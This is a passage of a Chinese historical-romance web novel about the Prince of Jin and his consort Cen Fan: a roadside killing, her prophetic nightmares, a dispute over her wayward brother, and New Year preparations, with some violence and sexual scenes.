元衡冷冷扫了眼对面的人,一声威严的质问:“何人要让本王下马?” 那县官罗锋来自沁水罗家,最近才到任上,柳闻一脉中有人北上,疑似要逃回柳氏盘踞的建州,皇帝下了令,让建州附近的官员都加以防范。 他新官上任,自然以身作则。 可没想到竟是倒霉,遇到硬茬了。 能在这里出入自如的王,还能带这么多兵,还能是哪个王? 才耍了半日的官威,如今荡然无存,罗锋赶紧下马赔了个不是,“晋王殿下恕罪,下官也是奉命行事,方才多有冒犯…” 元衡道:“本王的人里没有柳氏,滚吧。” 那声音凌厉,丝毫不留情面。 罗锋知道惹怒了晋王,心道不好,他一个小世家的芝麻小官,当然也不敢开口让晋王让道,只能上马回头摆手,仓惶原路返回。 那行人消失得倒也快,待到岑璠上马,元衡又瞥了眼垂着头的两个乞丐,一驱马便要离开。 谁知队伍刚行,那女人却是跟着向前匆匆挪了几步,嘴里还一直发出什么声音。 她身旁的男人一直揽着她,似是想拉住她。 那女子的最后一声叫喊,岑璠算是听清楚了。 叫的是一声“阿姊”。 岑璠转过头去,又打量了两眼。 她没有什么妹妹,就算是有,外祖父和她留给岑家的钱,也不至于让岑家剩下的人跑到这里来乞讨才对。 岑璠认了许久,忽然反应过来一件事。 她在岑家没有妹妹,可在虞家的确有那么几个可以称得上是妹妹的。 那个名叫黄珍的现在待字闺中,而另一个…… 她记得好像是嫁了柳家人? 柳家人…… 岑璠停下马,看向那女子。 那女子眼睛顿时亮了,僵硬地抬起手,颤颤巍巍撩开自己披散的头发。 岑璠还是觉得面生,就连名字都快想不起来了。 她父亲和黄氏生的,好像有一个叫黄瑜。 那女子面色冻的红紫,可眉眼间确实有几分像黄氏,也像她那皮相好的爹。 她似乎与这女子有过一面之缘,那女子摔碎过外祖父给她的笛子。 岑璠抿了抿唇,并未下马,多看了她一眼,便又踢了马肚。 元衡明白她的意思,整支队伍继续往前走。 黄瑜脸色骤然变得煞白,慌不择路,直向岑璠的裙摆抓去。 岑璠默不作声地往里拽了拽自己的裙摆 黄瑜摇头,嘴里咿咿呀呀,发出一声声“啊”的嘶叫,身旁的男人一直扶着她,似也无力。 看起来可怜,可岑璠不予理会。 她可以救素不相识的乞丐,即使是紫芯那样对她有过偏见的人,在生死关头她也可能不会置之不理。 但她不会替母亲和外祖父原谅黄氏的孩子,也绝不会替过去十几年的自己原谅。 即使那黄氏再把自己说的无辜,做了便是做了。 她更不会去原谅她那父亲,那个罪魁祸首。 黄氏和她父亲的孩子,享了十几年的天伦之乐,总该还给她和母亲。 这都是他们欠她们的。 她父亲选择把这个女儿嫁给柳氏,便该承受世家荣华带来的反噬,她不去找刚才那些人告发他们,已经算是仁至义尽。 死的早了些罢了。 剩下那些该死的,她会尽自己最大的可能,让他们一个个都承受该承受的恶果。 岑璠手指逐渐变冷,马越打越快。 背后的哭喊声渐渐远离,忽地骤然消失。 随后便听到扑通一声。 岑璠转过头去,却见到那赵巍干净利落收剑的动作。 她目光微移,那晋王就站在一旁,在那两人的前方。 听到倒地声,还有锃锃剑响,就连头也没有回。 岑璠怔怔望向那两个倒地的人。 地上洒上星点血滴,十分刺眼,而那黄瑜的眼睛还瞪大,似还在看向前方,死不瞑目。 那双眼睛岑璠看清了一瞬,在看她的方向… 冷风似刃划过脸颊,浑身都被吹透了寒气。 她的视线回到男人的脸上。 他面色平静,也在看她,同赵巍交代了两句,便向她打马而来。 岑璠下意识回过头去,继续向前,想到刚才那双盯着她的眼睛,下意识胸闷恶心。 元衡问道:“王妃是在怪本王?” 岑璠摇头,冷声道:“没有。” 元衡道:“那黄氏女太过吵嚷,她若一直跟着,惹来刚才那些人,本王解释不清。” 他斜了一眼,又道:“你可知其他的柳家人是什么下场?” 岑璠道:“不想知道。” “他们怎样,都与我无关,死了最好。” 元衡笑了笑,“王妃不怪本王便好。” * 夜里,一行人宿在离大河不远的平阳郡内驿馆。 平阳郡处于大河缓和地带,土地肥沃,无水灾侵扰,比起他们成亲回晋阳时赶路经过的孟村,不知富饶了多少。 相应的,那驿馆也要比前几日住的精致许多,他们住的那间上房用四扇黄梨花屏风单独隔出一间净室。 那浴桶掩在细密的红色纱幔后,烛光映染,照清了纱幔后的影影绰绰。 元衡一路上素过来,好不容易遇到好些的驿馆,便是由着自己放肆了一番。 岑璠攀在他宽阔的肩上,比他坐得高了些,半个身子露在水面外。 溅起的水珠沿着分明的琵琶骨向下,滑入时隐时现的沟壑,消失不见。 她似是心不在焉,低眼看向他,眼睛却是无神。 他不满地掐紧她,往上抬起又放下,一时间水声汹涌。 …… 乳娘听说今日发生的事,怕岑璠又梦魇,便是在屋内点了些安神香。 回到床上时,那香已经燃了一截。 她脸色潮红,像扑了胭脂粉,不知是不是今日骑马太久,大腿上难以忽视的不适。 就好像还有一双掌掐着一般。 男人吹灯上榻时,岑璠下意识缩到里侧,腿蜷起。 他大言不惭,“明日还要渡河,孤不会再动你。” 说罢,倒是也真的安分。 岑璠只轻轻“嗯”了一声。 这一路上便是这么相安无事,他听计收敛脾气,她没有呛过他,平淡到元衡都觉得不真实。 齐良越那日说的,不全然无用,起码对他来说,是很好的缓兵之计。 他一点点磨,总有一日,那锋利的爪牙总会被抹平。 可这一日,与前几日的平淡到还是有些许不同。 元衡已经无师自通,学会了主动去化解,“皎皎可是还在想今日的事?” 他解释道:“本王没将那黄氏女送到刚才那些男人手里,还叫人将他们好生安葬,已经算是给了体面。” 柳闻及其子女皆曝尸荒野,柳氏四公子没做官,和黄瑜一同回建州柳氏省亲,躲过了洛阳的捕杀,可皇后那边大抵是不愿意放过,派人在建州的必经之路上搜捕,扮成乞丐,想来也是没办法的办法。 柳闻一脉,应当只有这两人还立了坟,他倒是觉得自己在积德了。 岑璠道:“知道。” 能让那两个人痛快地死掉,比起其他死法,总归要太好。 可她还总是能想起那双 眼睛。 倒不是说害怕,就是膈应,和她当初杀柳家人一样膈应。 房内静静的,岑璠轻声问道:“殿下以后若还要杀人,能不能不要在我面前杀。” 元衡道她心善,可他其实不喜欢她偶尔显露出的软心肠。 不知为何,就是不喜欢。 他喜欢她对虞佑柏和皇后那样狠心的态度,这样显得她和他才般配。 他笑道:“皎皎不是还说,要亲手报仇,怎么能害怕看到死人?” 岑璠默声许久,道:“那不一样。” 元衡笑而不语。 罢了。 她若真是个软心肠,他不是不能接受。 这样也是与他很配。 将来他若当皇帝,她能多像今日劝谏他一番,当个贤妻,也是不错的。 反正怎么样都配! 他在她颈间蹭了蹭,“睡吧。” 岑璠闭上眼睛,可却怎么也睡不着。 驿馆内沉寂无声,似一切都被黑暗笼罩。 渐渐的,她听到刀剑碰撞的声音,她似蜷在角落,周围黑暗到看不清一切。 那刀剑声愈发清晰,最后一把刀自黑暗中破出,露出寒芒。 那柄刀上带有血,不知道是谁的,她只知道看到一双眼睛。 那眼睛大睁,死不瞑目。 究竟是谁? 她不清楚,实在看不清。 可她总感觉全身都在疼,疼到全身冒冷汗…… 梦中人分不清现实和虚幻,可到底元衡分得清。 他点了灯,叫了两声,可她似是深陷梦魇之中,无法自拔,缩成一团,连听都听不见。 元衡抿了唇,面色凝重如山,握住她的手臂,将她拉起来。 她的脸色似是有所缓和,起码眉头松了些,可还是没有睁眼。 他又唤了几声她的名字,越唤越着急,让她靠在他身上,轻轻晃她。 岑璠是被那唤声叫醒。 梦里也有人在唤她的名字…… 她微微睁开眼,呼吸还是错乱,想回忆起些什么,可除了那双睁大的眼睛,还有刀剑,便想不起来什么了。 梦里的她好像在疼,不知道是受伤还是怎么,也不知道是哪里疼,似乎有人把她抱在怀里唤她。 是他吗…… 可她的直觉却又觉得不是,没有理由,就是觉得不是…… 岑璠一时想不明白。 她为什么总会做这些奇怪荒诞的梦。 似是和现实毫无联系,却又和她藕断丝连? 前几场梦陆陆续续闪过。 岑璠从来没有这么认真思考过梦里出现过的人和事…… 她的脸色恢复了些,愈发平静。 忽然,背后传来一声轻问,“皎皎可是又做梦了?” 第65章 第六十五章想同她好好过个年 岑璠闻言一怔,才发现自己也在一个人的怀中。 那胸膛她分明靠过很多次,可不知为何却是有些陌生,像是一直渴望却从未得到的东西。 竟然一时分不清是梦境还是现实。 她惊讶于自己的恍惚,也惊讶于刚才一瞬间的感受,匆忙直起身,离他远了些,又不由想到每一场梦。 如果梦里一直都有他,她梦到的也一直都是自己,那梦里的他一定对她很不好…… 起码不会像现在喜欢缠在她身边。 岑璠听说过庄周梦蝶的故事,也听说过来世前缘。 往往痛彻心扉的才该是现实。 若是现在的一切是另一个她所期盼的梦境,或者说是她许下的来世,那她是要多喜欢晋王,才能做这样一个梦? 岑璠想不明白,她怎么会喜欢上晋王这样一个人呢? 他这样的人,有什么值得她许以期盼的? 她回头想看看能不能找到答案,却见梦中曾看过的那双眼睛,那眼中倒映着她的影子。 他同她睡时,沐浴后长发向来不束,只随意披下,衬得那张脸俊美如玉,的确是出众。可除了和她父亲一样好看的皮相,她确实找不到其他的答案。 那双眼睛离得太近,岑璠不由又往前挪了些。 他没有制止,只是轻问道:“皎皎做的梦,可是噩梦?” 岑璠回过头来,觉得他问的无用,反问道:“殿下觉得呢?” 元衡也被噎了一下。 她刚才那样,做的当然是噩梦。 若真是梦到前尘有关,也只能是噩梦…… 他眼眸低垂,散开的发遮住了他的眼眸,“皎皎都梦到了什么,能不能告诉孤?” 岑璠并不想说与他。 她做不到将那些梦都以旁观者的身份说出口。 那些梦不全然与他无关,她也不想将那些狼狈说给他听。 可她又想知道一些事。 她手下攥紧,反过来问他:“殿下可有梦见过什么人,什么事?后来那些事便真的发生了?” 这便是她的梦吗…… 梦见过他,而后一些事便成了现实。 可她梦到的究竟是将来事,还是前世事? 元衡眼中有一丝慌乱,可迅速便遮掩了过去。 他平静道:“孤没有做过这种梦。” 屋内沉寂了一瞬。 他能感觉到她在看他,微微抬了一下眼,还没对上那双眼眸,便躲避似的收回目光。 “孤…” 他怕她察觉到异常,再问他更多,怕问着问着,问到自己回答不了的事…… 他欲盖弥彰,瞥向她,道:“其实孤也梦到…梦到过皎皎。” 岑璠眼神微动,接道:“殿下梦到过什么?” 元衡脸不红心不跳,道:“孤梦见咱们有了孩子,一儿一女,小一点的姑娘非要缠着你教她书画,甚是可爱……” 他其实没有说谎,这些他真的梦到过,梦到过她和他儿女绕膝,白头偕老。 想想那画面,胸腔里都是暖意,他语声愈发温柔,像是清润的水波,娓娓道来曾经自己梦到过的,“孤还梦到,小姑娘哭的时候,你抱着她——” “我信殿下。” 一声淡然的答声截断了那幅温馨的画面,支离破碎。 她说她信他,可他一点也不高兴。 她信他梦到过她,也相信他所说—— 他梦到的事变不成现实…… “皎皎真的没想过,有朝一日,我们能有一个自己的家…” 岑璠不予理会,她的脸色已经缓和过来许多,便是躺下,回避他的问题,“睡吧。” * 一行人回到洛阳时,离除夕不过三日。 到底是要过年,即使主子只在这里暂住,洛阳王府内的奴仆也不敢懈怠,忙得不可开交。 府上送来了厚厚一摞过年拜贴,元衡看了一下午,最后也只挑出来几封,比如在洛阳的王氏,尔朱氏,娄氏这些大族。 至于那郑氏,算是他的半个恩师,也是他的恩人,他准备年后带她一起上门去拜访。 想必那郑家她也是愿意去的。 里外有太多事要打点,元衡忙到将近子时,隔日还要进宫面圣。 上一世柔然进攻赤城时,他的援军去迟,年关回洛阳时,皇帝便因为军镇之事责问于他。 从那时起,约莫就有了要撤他军权之意。 他知道,因为他的母亲,老皇帝憎恶他到极致,想尽办法打压他。 那次他孤守赤城,后来大败,皇帝没有追究任何人的责,却在不久后以他需要养病为由,将他召回洛阳一年之久。 那一年他远离北地,像是做了个闲散王爷,便是彻底把兵权丢了。约莫也是那年后,他脾气愈发喜怒无常,也对 她愈发不好…… 不过这一世,皇帝没有问责他,也确实无责可问。 元衡说完军镇的情况,皇帝让人赏赐了些金银,元衡谢过,父子二人便是相顾无言。 没有什么嘘寒问暖,也没有什么父慈子孝。 元衡行礼出宫,路上遇到了皇后身边的管事太监。 他听闻皇后身子不适一月有余,已经好些时候不曾见过人,也不知道是因为那柳氏还是因为其他人。 那太监笑脸迎向他,元衡瞥了一眼,并未正眼去看。 太监转过头去后,也收起了笑容。 向含光殿外皇帝的大太监带过话后,管事太监便离开了。 未央宫内,皇后斜倚在宝座上,贴身宫女正给她轻轻揉着太阳穴。 那宝座后是凤尾的形状,镶嵌着红宝石,凤尾的羽毛用金丝镶嵌,宝座上铺着一层白狐毯,看起来柔软暖和。 太监抬头看了一眼。 宝座上的皇后肤白如玉,一袭宽袖逶迤拖地粉红烟纱裙,时兴的金纱帛带挽于臂间,从那白狐毯上垂下,如金光流泻。 当今皇后还做贵嫔之时,便以妩媚艳丽闻名,这么多年竟还是风韵犹存,尤其是那双凤眼睁开,就像是那传说中的狐妖一般,容颜永驻了一般… 太监只多扫了一眼,便将拂尘摆向臂间,道:“皇后娘娘,方才老奴去含光殿时,碰到了晋王殿下。” 皇后只问道:“皇帝可又说什么?” “听大太监说,不过是赏赐了些金银珠宝罢了。” 皇后听后唇微微勾起,坐起身来,像在说风凉话一般,“这守卫赤城,大败柔然,也算是大功一件了,陛下竟只赏些珠宝?” 这些年来,宫里的人心照不宣。 那元衡是那废后的儿子,废后杀了皇帝最宠爱的昭仪,又是投井而亡,只要皇帝还在一日,便不会让晋王染指皇位。 血缘这种东西,无论如何都是无法改的,废后之子,凭这一身份,便如同黥面,是任他权势滔天,凌云意气又如何? 管事太监也知道,可终究没有明说,“兴许是晋王殿下又冲撞了陛下,况且守卫赤城,也有尔朱氏和杨氏的功劳。” 管事此言本是想再宽慰一二,可没想听到那尔朱氏,皇后的面色便又有些凝重。 管事太监也约莫能猜出一二,“皇后娘娘莫太过忧虑,那尔朱氏的姑娘,也不只这一次进宫的机会。” “也罢。”皇后深吸一口气,似是恢复些平静,问道:“那虞氏可也是跟着晋王一起回来了?” “是。”管事太监不常听到皇后问起那位晋王妃,便多说了些,“听闻晋阳那边的人说,这位晋王妃深得晋王宠爱。” 管事太监低头道:“依老奴所见,虞氏其他人,娘娘也该防着些…” 皇后斜了他一眼,似笑非笑,“你何时倒也注意起虞氏的事了?” 管事太监了解皇后的脾气,听到这样一声问,头越来越低,如实道:“老奴只是忽然想到,虞氏是柳氏的姻亲,皇后娘娘能极力保下虞氏的性命,已是仁至义尽,可并非每个人都像皇后娘娘一般心怀宽阔。” “柳氏毕竟因太子殿下获罪,那虞氏三姑娘至今下落不明,怕是会记恨娘娘和殿下,那晋王妃又在王府站稳了脚,老奴怕虞家是要生二心。” 皇后听后,却并未有什么反应,“你放心,他虞佑柏不会因为一个女儿记恨本宫,本宫对他这个人还是知晓的。” 管事太监一时也摸不准皇后的态度,他总觉得皇后对虞氏太过宽容。 柳氏一案,那虞氏受牵连,黄氏同宫里的许才人是表亲,竟是托那许才人送信,求到了皇后娘娘头上。 虞氏这般不知斤两,他本以为皇后该不予理会,借柳氏一案一起除掉虞家,谁知竟是没有。 管事太监也一时摸不准皇后的意图。 那太常丞虞氏这么多年虽是无过,可到底也没什么太大本事,何德何能得皇后如此器重…… 管事抬眼,却见皇后已经阖上了眼,更难猜透心思。 皇后似是不想让他再说,只道:“大管事放心,虞氏翻不出什么风浪来。” * 元衡推拒了一切年前的拜会。 这是他重生后的第一次过年。 就算是上辈子,她走后,他也许多年没有和其他人一起过节了。 他想同她好好过个年。 他和她在一起过的第一个年…… 元衡站在府门外,经过时抬头向檐上看了看。 韩泽跟着抬头看去,不知道他在看什么。 他只能看到檐上两只悬挂的灯笼…… 元衡却是问道:“明日岁除,该准备的东西可都准备好了?” 韩泽这才反应过来,原来自家主子真的在看灯笼。 晋王从不会过问他这些事,这王府岁除的饰物向来全都是下面人打点。 可既是问了,韩泽便也答得认真,“府中的灯笼,桃符还有阖府上下的新衣都准备好了,殿下放心。” 元衡颔首,径直回到燕誉堂。 内院之中,显然有不少人,想来也是在准备年事。 走到门口时,便听到两个老媪此起彼伏的赞叹声。 “王妃这身衣裳真是合身。” “明日姑娘穿着这身衣裳去宫宴,就连宫里的人都要移不开眼呢。” 元衡推门进去,便是见到了被围在中间的那抹倩影。 她身穿的那身红色团蝶百花凤尾罗裙是他亲自挑的,衬得她的窈窕,鹅颈在红衣的映衬下愈发雪白。 脸上的妆,是南边传来的梅花妆,头戴一只蝶飞花流苏簪,比起成婚那日的妆容更加生动,隐隐几分俏丽。 她身旁几个小婢女都在,也试上了明日该换的新衣,如同绿叶衬着一朵牡丹,确实让人离不开眼。 傅媪走来,笑道:“明日的妆都给王妃试好了,殿下看这样可好?” 元衡一扫几人,显然心情极好,“都赏。” 明日岁除,府中上下本就有荷包可领,又忽然得一笔赏钱,几个小婢女眼睛都亮了。 傅媪和乳娘一使眼色,槿儿几个便轻快地迈步跟了出去。 待几人带上门,元衡走近,目光毫不避讳地在她身上打量一番,不禁道:“明日宫宴,王妃便这么穿。” 岑璠不喜欢他放肆打量的眼神,她转过身向妆台走去,“殿下不怕我这么穿,抢了宫里那些嫔妃公主的风头,到处得罪人?” 元衡并不在乎,“那又如何?” 他在宫里得罪的人,一个手都数不过来,就是那皇帝皇后也是看不惯他的。 可得罪又如何? 他就是要让他的王妃做阖宫上下最美的那个,要是洛阳城最好看的那个,要让全大魏的女子都争相模仿她的装扮。 想要宠她,得罪旁的人又如何? 岑璠知道他打定了主意,便不会更改,便没再说话,想取下发上那只蝴蝶流苏簪。 他握住她的手,轻轻道:“先莫要摘。” 岑璠不曾注意他什么时候离得这样近,沾了胭脂的唇瓣微颤,就如同一瓣被风吹拂的蔷薇。 让人心神一荡,想要肆意采摘。 那呼吸越来越近,薄唇贴了上来,捧起她的脸颊,胭脂便是花了。 他闭上眼,抵开她的唇,岑璠想咬,他却是熟练抵住她的齿,往里探入。 舌尖时不时相触,沉醉痴迷。 渐渐地,那腰间的束带便到了地上,一层层锦衣没了束带绑住,便也松散开。 他倾身覆下,手撑在妆台上,将她困在两臂之间,锦衣交叠,腿与臂交缠。 他小心翼翼剥开她肩头的一层层衣裳,岑璠能感觉到他变化。 剑拔弩张,蓄势待发。 身上的裙被一层层散开,像是花被一层层剥去花瓣,露出了雪白的芯。 岑璠挣不开桎梏,腿被抬到肩上,凉飕飕的风口被滚烫堵得严实。 她尚存一丝理智,知道他定是没喝药,想出口提醒。 可就在这时,门外传来了一声叩门声。 第66章 第六十六章脏了手 韩泽的声音响起,房内瞬时静了下来。 岑璠一动不动,紧盯着他的反应,大气不敢多喘。 他额上经脉分明,眼中充有血丝,脸庞近乎妖冶,像是忍得难受,周遭气息愈发压抑凌人。 岑璠张开嘴,想要提醒,他却忽地又往前挤了几分。 她脸色煞白,要说出口的话变成一声闷哼。 可外面的人听不见,又敲了一遍门。 元衡忍无可忍,低声吼了一声,“滚。” 外面的敲门声应声而止,连一点能听到的声音都听不到了。 岑璠却是闭上眼,出声提醒道:“殿下还没喝药,韩总管想必 也有急事,殿下还是先出去看看吧…” 这一席话说出口,房间寂静无声。 回应而来的,却是他又压进了几分。 岑璠蓦地睁大了眼睛,紧紧盯着他。 他锢住她的手臂,连着冲撞了几下,那妆台仿佛都要被摇散似的,发出几声剧烈的响声。 短短几下后却是停了。 他站起身,拉起她的手,“王妃既是不愿,那便先帮本王。” …… 元衡出去时,身上的衣裳已经齐整,他的五官本就凌厉,少了欲色渲染,便是又恢复了冷峻神色。 若不是刚才那一声“滚”,怕是连韩泽都猜不出屋内发生了什么。 韩泽低着头,不敢先开口。 不过好在元衡并没有迁怒于他,只问道:“何事?” 韩泽道:“殿下,是虞家的那位小公子…也就是王妃的胞弟来了咱们王府上,说是要见王妃和您。” 元衡听罢,脸色变得铁青,“可是跟着虞氏一起来的?” “只小公子一个人。” 元衡脸色稍有缓和,却是道:“将他打发回去,就说本王不见。” 韩泽欲言又止,却只见元衡背后的房门又打开。 一声冷问响起,“为何不见?” 元衡朝声音的方向看去,她只披了一件单衣,似是自己收拾了一番,面上算是干净,碎发挽在耳后。 岑璠看了他一眼,眼底微红,又重复问了一声,“为何不见他?” 元衡被她质问的有些心虚,道:“你也知道他都在洛阳做过什么…” 还没说完,便是被岑璠打断,“那和见不见他又有什么干系?他是我阿弟,就算是他生性顽劣,我便不能见他了吗?” 元衡抿唇,一时无言。 他倒是做了退让,“可以去见,但本王怕王妃心软,本王同王妃一起去。” 岑璠看了他两眼,没再说什么,转身顿了顿,淡淡道:“我要一盆水。” 这事元衡倒是答应的爽快,乳娘很快将一盆热水端进房门,那菱花金盆的盆心有一朵莲花,双鱼衔珠戏水,很是别致。 那只是岑璠平日里用来洗手的盆,她瞥了一眼,却是将一幅手帕丢给乳娘,“乳娘将这幅手帕丢了,换一个盆来吧,我手脏。” 乳娘看一眼揉成一团的手帕,便是恍然间懂了什么,又重新换了个木盆来,还拿来了澡豆子。 一双纤手伸入水中,五指交错,来回揉搓,那澡豆子加了一颗又一颗,嫩白的皮肤搓得发红才停下。 岑璠始终冷肃,用干净的帕子擦了手,又让乳娘打了盆水来,用帕子沾了水,擦了好几遍脸,连两鬓的头发都没放过。 乳娘静静看着,什么也不敢问,到最后,擦脸那绢帕子也被扔了。 岑璠擦完,乳娘才将槿儿和紫芯叫进屋,帮她重新梳好妆,才向前殿走去。 燕誉堂内,两人已经静静坐了好一阵。 元衡是将人请了进来,却没有什么好脸色。 珝儿刚叫了一声姐夫,便被一个斜睨过来的冷眼吓得止住话。 元衡亲自将他带进来,端坐在主座,闭目养神。 珝儿想到刚才那眼神,便是不敢多言,乖乖坐在那里,连姐夫也不曾再叫过。 直到岑璠来时,他才站了起来,叫了声“阿姊”。 岑璠换下了那身新衣,穿回了原本的衣裳,试衣时脸上的淡淡的笑意早已消失殆尽。 她扫了眼珝儿。 她记得她走时,珝儿比同龄人要壮实些,比起之前,的确是瘦了不少。 那一声声阿姊似带着委屈,岑璠握紧拳,又扫了一眼座上的男人。 这屋子里的两个人,没一个能让她顺心的。 岑璠呼出一口气,没有上前,也没有再看还在嗫嚅唤她的珝儿。 就在这时,元衡叫了一声,“过来。” 那声音带着强势的命令,若是换做平日,岑璠绝对不会过去,甚至肯定还要反讽他几句。 可她却是罕见地听了他的话,走过去坐在他旁边。 元衡显然是满意,收起了几分不近人情,问向珝儿,“虞公子此次前来,所谓何事?” 珝儿抻直了脖子,状似欣喜,眼睛清澈透亮,“我听说阿姊回了洛阳,年关将至,便想着来给阿姊拜个年。” 元衡一声冷笑,“孤看与其说是拜年,不如说是来骗王妃钱的。” 珝儿似是愣了一下,连忙否认,“我没有,我太久没见到阿姊,我没想骗阿姊。” “你没骗我?”岑璠眼睛红了,“你倒是说说,我给你的钱,你都拿来做什么了?” “阿姊,我知道错了,父亲也已经教训过了…。” 听罢,元衡又笑了一声,“教训归教训,长记性又是一码事。” 岑璠看他,倒是难得和面前的人想法一致。 珝儿解释道:“我真的知道错了,姐夫放心,我真的一个铜板都不会问阿姊要…” 元衡显然不信,这种人他见的多,嘴上说着不敢,其实比谁都大胆。 起码墨群说的,他对那云珮阁掌柜嚣张跋扈的态度,就和他现在现在低声下气的作态很是不符。 元衡道:“本王看,也未必是同你阿姊要钱,虞氏老爷虽是没本事,可倒也不糊涂。” 他转过头去,对岑璠道:“想必岳父知道虞小公子逃课去酒楼赊账,也是火冒三丈,不肯再给银钱。此番小公子前来,一会儿定是要向王妃哭诉一番,若王妃这个做阿姊的心软了,跑去虞家要说法,想必岳父看在王府的面子,也不会再扣着小公子的银钱。” 这番话说下来,珝儿连话都插不上。 他有些结巴,“我、我真没有这么想…” 元衡没有再说话,轻轻咂了口桌上的酒,等着岑璠开口。 岑璠道:“你收拾东西,年后跟我回晋阳。” 元衡差点呛了酒,他紧皱起眉头,看向她。 她的眼中没有丝毫征求他意见的意思,似是已经打定了主意,正色道:“给殿下添麻烦了,以后还要劳烦殿下帮忙,严加管教阿弟。” 元衡显然并不情愿,可转念一想,却也有好处。 她在意她这个阿弟,若是以后她这弟弟和他们一起回了王府… 她绝不会轻易走。 起码在她阿弟未教导好的这几年,她都会在他的王府,不管是为了什么,都不会再想着逃。 她刚才说让他帮着严加管教,也是在向他示好妥协的意思。 元衡盯着她,心里一阵隆鼓似的震动,手心炽热。 岑璠撇开头去,没接他的目光,隐隐还带有些疲惫。 元衡却不曾察觉,他快声答应了句,“好。” 珝儿却似是不愿,争辩道:“阿姊,我在洛阳有爹娘,还有朋友,读书也在洛阳,这晋阳哪能说去就去…” 那声音并没有多大,也并不是无理取闹的撒泼不去,可岑璠就是听了生气。 “你说在洛阳读书,书都读到哪里去了?你的那些朋友,除了教你不学好,还能做什么,还有虞家…” 她都不想说。 现在看来,那虞家平日里定也没少给他银子,对他事事顺从,他好日子过惯了,所以不肯跟她走,即使是王府也不去。 想到此,岑璠脸越发沉,“我看你就是被他们宠坏了…” 珝儿被这番话说得哑口无言,半天说不出一个字。 岑璠也不想再听下去,她站起身,元衡便和跟着站起来,状作关心,扶着她往外走,殷勤道:“别气着了。” 岑璠却觉得越听越烦,直想捂耳朵,路过珝儿时,转头道:“你回去就给父亲说,让你跟着去晋阳是晋王的意思,等年后我和殿下亲自去虞府接你。” 元衡叫人送走珝儿,一路跟她一起回了房。 岑璠回去后,径直坐在了外间的胡椅上,捏着眉心。 元衡很少见到她同别人这样置气,或许是因为平日里都是他在惹她不快。 他表现得愈发体贴。 或许一对比下来,她便是能发现,他要比她那弟弟要听话太多。 他给她端了杯水来,轻声道:“莫要气了。” 岑璠看向他。 将珝儿从洛阳带出来,并不是她一时起意,早在墨群带回消息时,她便有这个打算。 孟母有三迁,她是长姊,长姊如母,她不可能眼睁睁看着他继续在洛阳当个纨绔,这辈子浑浑噩噩。 她也想过将珝儿交给阿湄他们,可阿湄他们那样的性子,也未必能教导好他,她也放心不下…… 就现在而言,珝儿是怕她的,也是怕晋王的,放在王府是最合适。 可这样一来,她便又要受制于面前的男人。 若是报仇后她不能全身而退,或许她可以将珝儿托付于他,可若是她还活着…… 他这样的人,保不齐要用珝儿来威胁她继续留在王府。 她只能祈求珝儿能快点懂事,有朝一日能靠自己的一点本事立足,不再依附于王府,也不再依附于虞家…… 她不奢求是什么大本事,无论是什么,人想要自己好好活着,总要会一两样东西。 她眼睫低垂,元衡一直注意着她的反应,以为她还在难过,只又说道:“明日是岁除,皎皎莫气着,寓意不好。” 岑璠能听出,他的心情颇好,约莫他也是想到了,她是在为了珝儿妥协。 他还在自顾自说,“皎皎放心,回晋阳后,孤会和你一起管教他,不必心烦……” 他似在哄她,可岑璠却越听越烦躁。 她是在心烦,他倒是也知道。 他这个人,还有她的弟弟,两个人都让她心烦。 她倒是还没忘记,刚才他对她做了什么。 他似也有继续刚才那事的打算,靠得越来越近,岑璠终于忍不住,说了声“滚”。 第67章 第六十七章报完仇后,你能和孤好好过…… 元衡脸黑了一瞬,可转念又觉得她这又不是第一次骂他,竟是也觉得习惯,忍了下来。 他心情颇好,便是遵照她的意思,自己滚开了。 她打算将珝儿带去王府,左右跑不掉,也没必要因为这些事做怒。 到了夜里,他依旧规规矩矩,倒是没再想下半身的事。 往年岁除岑璠都在彭城,外祖父还在时,她还跟着岑家人一起过年,后来外祖父走了,岑家就好似散了一样,从此她也只在院里和乳娘她们过个年。 他似乎对过年很重视,一大早便要洗漱更衣,连带着她也要跟着起来。 洛阳城里过年格外热闹,实际上自她们回来那日便有人开始放爆竹,燃天灯。 王府的奴仆都换上了新衣,每个人都发了银锞装的荷包。 王府的门外也点了炮竹,元衡带她出去看。 一串爆竹声被点燃,火花四溅,迸发出噼里啪啦的响声,天际间还隐约衬着别家的炮竹声。 她身边的小婢女也跟了出来,那串爆竹上挂了串铜钱,泠泠作响,每个人脸上都洋溢着欢喜。 岑璠盯着那爆竹,与热闹相反的沉静。 忽然有人捂住了她的耳朵,那双手的指尖微冷,隆响的炮竹声变得沉闷。 岑璠微微回头,看到了那宽大的锦袖,随后隐约看见一张熟悉的面容,面色冷如玉,与这般热闹烟火也有些格格不入。 岑璠转回去,任由他这么捂着自己的耳朵。 回到屋中,岑璠给自己屋里的人也发了些赏钱,比起晋王给的那些也是只多不少。 紫芯从未见过这么多赏钱,一时间惊喜得话都说不利索。 槿儿只道:“跟着姑娘,每年都会有这么多赏钱的。” 槿儿说这话时,元衡也能听到,似有若无瞥向几人。 他记得上一世的她,即使是身处那样的境地,也对周围的婢女是极好的。 她身边那个名叫紫芯的他没什么印象,却是记得那个槿儿。 那时他刚从洛阳回来,被他的父皇架空权力,脾气很不好,对她也愈发没耐心。 有一回夜里他从她的房里出来,那槿儿紧接着开门将一盆脏了的洗脸水准确无误泼在了他脚下,泼脏了他的鞋。 他知道这是挑衅,本想惩戒,可她却是从房里出来,只穿了一件单衣,跪得利索。 那时他念在她言听计从,伺候的好,并没有追究槿儿的错,她似乎还跪在地上同他道了谢。 不久之后他便喝了个酩酊大醉,不知道对她说了什么,她在欢好时也一直哭,他便再也没去过。 后来新帝登基,权力重新回到手上,她却走了… 听说她去洛阳别院时遇到了盗匪,她身边的两个人甘愿护她而死,不过他当时忙于与胡氏争斗,并没有多少动容。 至于那日究竟说了什么,似乎话就在嘴边,可他的确到现在也想不起来… 元衡到底心里有些过意不去,看着她周围的婢女,道:“你们伺候王妃有功,下去之后再去库房领两只镯子吧。” 房内静了一瞬,槿儿似有若无瞄向岑璠。 岑璠也有刹那的惊讶,看了看他,而后微颔首。 槿儿和紫芯一行礼,两人才退下。 * 用完午膳,槿儿几个又给她细细描好妆,那妆容比她昨日描得更加细腻,眉间一朵梅花精巧,眼边眉心都扫有淡淡的胭脂。 她便是如此,平日淡雅如茉莉,可细细打扮一番,便是艳丽夺目,让人挪不开眼。 妆上好后,他忍不住想要吻她眉间的那朵梅,却是怕弄花了她的妆,只在她的眼尾轻轻落下一吻。 他偶尔表露出的温柔,总让岑璠觉得浑身不适,可左右不痛不痒,她没说什么。 